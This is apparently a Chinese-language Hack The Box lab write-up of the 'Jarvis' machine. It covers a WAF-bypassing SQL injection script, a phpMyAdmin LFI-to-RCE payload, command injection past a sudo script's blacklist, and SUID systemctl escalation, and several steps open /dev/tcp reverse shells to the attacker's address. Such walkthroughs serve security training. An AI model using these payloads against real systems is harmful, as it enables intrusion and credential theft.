[HTB] Jarvis Writeup

WriteUp 2年前 (2022) admin
651 0 0

概述 (Overview)

[HTB] Jarvis Writeup

HOST: 10.10.10.143

OS: LINUX

发布时间: 2019-06-23

完成时间: 2021-11-27

机器作者: manulqwerty && Ghostpp7

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #SQLi #Command_Injection #SUDOExploitation

攻击链 (Kiillchain)

使用 ATT&CK 技术来描述攻击过程:

  1. 1. 使用 Nmap 工具扫描服务器开放端口,属于 Discovery(发现)类别的技术。

  2. 2. 对网站进行目录枚举,发现了一个名为 phpMyAdmin 的应用,属于 Discovery 类别的技术。

  3. 3. 在网页上的注入点上使用 bypass waf 技术来绕过 web 应用防火墙,属于 Evasion(回避)类别的技术。

  4. 4. 使用 SQL injection 攻击获得 Mysql 登录帐号,属于 Initial Access(初始访问)类别的技术。

  5. 5. 使用获得的帐号登录 phpMyAdmin 应用,利用本地文件包含(LFI)漏洞获得立足点,属于 Execution(执行)类别的技术。

  6. 6. 使用 SUDO 权限滥用来绕过 python 脚本黑名单过滤,并利用命令注入实现账户之间的横向移动,属于 Privilege Escalation(权限提升)类别的技术。

  7. 7. 最后,通过 SUID 权限使用 systemctl 完成权限提升,属于 Privilege Escalation 类别的技术。

枚举(Enumeration)

老样子依然从扫描目标服务器开放端口开始,工具依然是 Nmap :

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

从扫描的结果中可以获知目标服务器是 Debian 10,对外开放了三个端口,其中两个是 Web 服务端口(有时候需要留意版本信息,往往会成为最早发现的脆弱点)。

Port 80 – HTTP

浏览器访问目标服务器的 80 端口上的 Web 服务,很明显能够看到一个 supersecurehotel.htb 域名:

[HTB] Jarvis Writeup

将域名加入本地 hosts 文件中,随后使用 feroxbuster 工具对域名进行目录枚举:

00       68l      167w     2237c http://supersecurehotel.htb/footer.php
200      543l     1653w        0c http://supersecurehotel.htb/index.php
200       43l       85w     1333c http://supersecurehotel.htb/nav.php
200      336l     2992w    19186c http://supersecurehotel.htb/phpmyadmin/ChangeLog
200      339l     2968w    18092c http://supersecurehotel.htb/phpmyadmin/LICENSE
200       52l      212w     1520c http://supersecurehotel.htb/phpmyadmin/README
200      216l      728w        0c http://supersecurehotel.htb/phpmyadmin/ajax.php
200      216l      728w        0c http://supersecurehotel.htb/phpmyadmin/changelog.php
200      216l      728w        0c http://supersecurehotel.htb/phpmyadmin/export.php
200       98l      278w    22486c http://supersecurehotel.htb/phpmyadmin/favicon.ico
200      216l      728w        0c http://supersecurehotel.htb/phpmyadmin/index.php
200      216l      728w        0c http://supersecurehotel.htb/phpmyadmin/import.php
200      216l      728w        0c http://supersecurehotel.htb/phpmyadmin/license.php
200      216l      728w        0c http://supersecurehotel.htb/phpmyadmin/logout.php
200      216l      728w        0c http://supersecurehotel.htb/phpmyadmin/navigation.php

很快得到了 Web 服务存在 /phpmyadmin/ 服务路径,并且留意到返回的响应包头中存在 WAF 指纹 IronWAF: 2.0.3 :

HTTP/1.1 200 OK
Date: Sat, 27 Nov 2021 03:56:21 GMT
Server: Apache/2.4.25 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
IronWAF: 2.0.3
Content-Length: 23628
Connection: close
Content-Type: text/html; charset=UTF-8

立足点(Foothold)

尝试了一波 PHPMyAdmin 服务的弱口令登录均失败,转而尝试寻找 Web 应用服务是否存在 SQL 注入。观察到页面中存在一个 /room.php?cod=2 的 GET 请求传参:

[HTB] Jarvis Writeup

SQLi

进行简单的 SQL 注入测试,观察页面显示内容是否发发生变化:

  • • 当传递 cod=2 时,页面显示的房间标题和金额为 149,这是一个正常的返回结果。

  • • 接着传递 cod=2-1 时,页面显示的房间标题和金额为 270,这其实是 cod=1 时的页面结果。

  • • 从结果中不难判断,这里存在数字类型的 SQL 注入

[HTB] Jarvis Writeup

猜测可能的 SQL 查询语句为:

select cod_id,room_id,room_price from room where cod_id=<传递的cod参数>

当然我们传递 2-1 后,实际 SQL 语句在进行查询前做了运算操作,使 cod 值为 1。随后进一步构造 payload 前的验证,看看是否存在错误信息回显的情况,触发了 WAF 拦截被锁定了 90 秒。

[HTB] Jarvis Writeup

Bypass WAF

首先上面将 GET URL 中的空格替换成加号的方式肯定是不行的,使用 SQL 语句中的 /**/ 注释符发现可以成功绕过 WAF 的检测,随后开始走正常的 SQL 注入利用流程:

# 判断注入点到的查询 SQL 字段为 7 列
GET /room.php?cod=2/**/order/**/by/**/8%23/**/    false
GET /room.php?cod=2/**/order/**/by/**/7%23/**/    true

# 使用连接查询替换真实数据,寻找子查询信息输出位置
GET /room.php?cod=-1/**/union/**/select/**/1,2,3,4,5,6,7%23/**/ true

更多 fuzzing 可以参考:https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/SQLi/Generic-SQLi.txt

[HTB] Jarvis Writeup

可以看到当前结果已经被我们替换了,在结果中能够看到标签内容显示的数字。

[HTB] Jarvis Writeup

原本尝试使用 sqlmap ,结合它自带的 tamper 脚本进行自动化的发现并不行。检测的 payload 语句还是会自然触发 WAF 拦截,比如:

cod: 1/**/And/**/3385/**/beTwEen/**/3385/**/And/**/3385--/**/phfx

所以还是得自己动手来写靠谱点,使用 python 简单编写了一段脚本,目的就是取子查询内容:

#!/bin/python3
# -*- coding: UTF-8 -*-

import sys
import requests
import re

url = "http://10.10.10.143/room.php?cod=-1/**/union/**/select/**/1,2,({0}),4,5,6,7"
payload = sys.argv[1].replace(' ''/**/')
s = requests.session()

r = s.request("GET", url=url.format(payload) + '%23')
print("send payload: " + payload)
print

if r.status_code != 200:
    print('Error')
    exit()

reg_arr = re.findall(r'class="price-room">(.*)</span>',r.text)
print('-'*20)
print(reg_arr[0])
print('-'*20)

[HTB] Jarvis Writeup

随后依次查库、表、字段信息,最终得到 mysql 管理员 hash:

# 获取所有数据库名称
send payload: select group_concat(schema_name) from information_schema.schemata
--------------------
hotel,information_schema,mysql,performance_schema
--------------------

# 获取当前数据库的表名
send payload: select group_concat(table_name) from information_schema.tables where table_schema=database()
--------------------
room
--------------------

# 获取mysql账户密码
send payload: select concat(host,0x3a,user,0x3a,password) from mysql.user
--------------------
localhost:DBadmin:*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
--------------------

# 使用 hashcat 配合字典成功得到明文密码
*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0:imissyou

拿到 mysql 账户密码后就可以登录 phpmyadmin 了,可以发现 phpmyadmin 的版本很低,这意味着我们可以找到 RCE 的相关漏洞。

phpMyAdmin LFI

[HTB] Jarvis Writeup

通过 Google 一顿搜索,找到了在低版本中存在本地文件包含的漏洞,那么我们可以直接利用它来进行任意命令执行。

phpMyAdmin 4.8.0~4.8.3 LFI https://www.vulnspy.com/en-phpmyadmin-pmasa-2018-6/

我用的是利用 PHP SESSION 序列化数据进行 RCE,每次当我们登录 phpmyadmin 后,系统就会产生一个 session_id 文件,然后在 phpmyadmin 里面执行 sql 查询操作均会被记录到这个文件内。

  • • 打开控制台,获取自己的 sessionID。

  • • 随便找个数据库进行 SQL 语句查询。

  • • 利用 LFI 进行文件包含触发恶意代码执行。

php:select '<?php system("bash -c 'sh -i >& /dev/tcp/10.10.17.64/9900 0>&1'"); ?>'

payload:/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_xxxxxxx

[HTB] Jarvis Writeup

访问后成功得到立足点。

[HTB] Jarvis Writeup

横向移动(Lateral Movement)

因为当前 shell 用户是 www-data,本身权限较低所以我们得想办法进行账户横移,已进行后续的权限提升操作。

按照习惯查看了下 sudo 权限列表,发现可以免密已 pepper 用户身份运行 python 脚本:

$ sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
www-data@jarvis:/home/pepper$

随后对代码进行审查:

...snip...
def exec_ping():
    forbidden = ['&'';''-''`''||''|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()
    ...snip...
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()

关键代码在 exec_ping 方法中:

  • • 当用 sudo 运行脚本并附带 -p 参数后,会接收用户传递的字符串

  • • 如果字符串内容含有黑名单内容则终止,否则就进行字符串拼接并执行系统 shell

因为使用的黑明单过滤,所以能很容易的发现 bypass 的方式,这里遗漏了 $() 符号的组合使用。例如:

echo 123`pwd`
123/tmp

echo 123$(pwd)
123/tmp

可以看到 $(pwd) 语句优先于 echo 被执行,这是因为 bash 的语言特性 $() 内的命令会作为变量进行传递[1]

接下来就比较简单了,先写一段反弹 shell 脚本并赋予执行权限:

echo -e '#!/bin/bashnnbash -c "sh -i >& /dev/tcp/10.10.17.64/9900 0>&1"' > /tmp/shell
chmod +x /tmp/shell

接着在 sudo 运行脚本并带上 -p 参数,输入 127.0.0.1$(/tmp/shell) 成功得到 pepper 用户的 shell。

[HTB] Jarvis Writeup

权限提升(Privilege Escalation)

为了方便后续的操作,将 kali 的公钥写入 pepper 用户的 authorized_keys 文件中,实现 ssh 免密登录。

[HTB] Jarvis Writeup

将 linpeas 传递至目标服务器运行信息收集,发现 /bin/systemctl 命令存在 SUID 权限,这样我们直接通过它就能完成权限提升了。

[HTB] Jarvis Writeup

https://gtfobins.github.io/gtfobins/systemctl/#suid

运行 gtfobins 中提供的命令,创建一个自定义服务含有恶意反弹 shell 命令并执行,成功完成权限提升操作。

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "sh -i >& /dev/tcp/10.10.17.64/9900 0>&1"
[Install]
WantedBy=multi-user.target'
 > $TF
./systemctl link $TF
./systemctl enable --now $TF

复盘

SUID (Set User ID) 是一种 Linux 文件权限标记,用于指定文件执行时使用哪个用户的权限。当文件有 SUID 标记时,即使当前用户没有执行该文件的权限,也可以执行该文件。SUID 滥用指的是指将文件的 SUID 标记设置为高权限用户,以此来获取更高的权限。这样做可能会导致严重的安全问题,因为攻击者可能会利用该文件来获取高权限。

因定期对系统中所有文件进行审核,找出所有有 SUID 标记的文件,并评估这些文件是否有必要。如果发现某些文件没有必要拥有 SUID 标记,应立即删除这些标记,以降低漏洞的风险。使用使用 SELinux 或 AppArmor 等安全策略可以限制程序的访问权限,防止攻击者利用 SUID 标记提升权限。

引用链接

[1] 变量进行传递: https://wiki.bash-hackers.org/syntax/expansion/cmdsubst


原文始发于微信公众号(一个人的安全笔记):[HTB] Jarvis Writeup

版权声明:admin 发表于 2022年12月29日 上午11:59。
转载请注明:[HTB] Jarvis Writeup | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...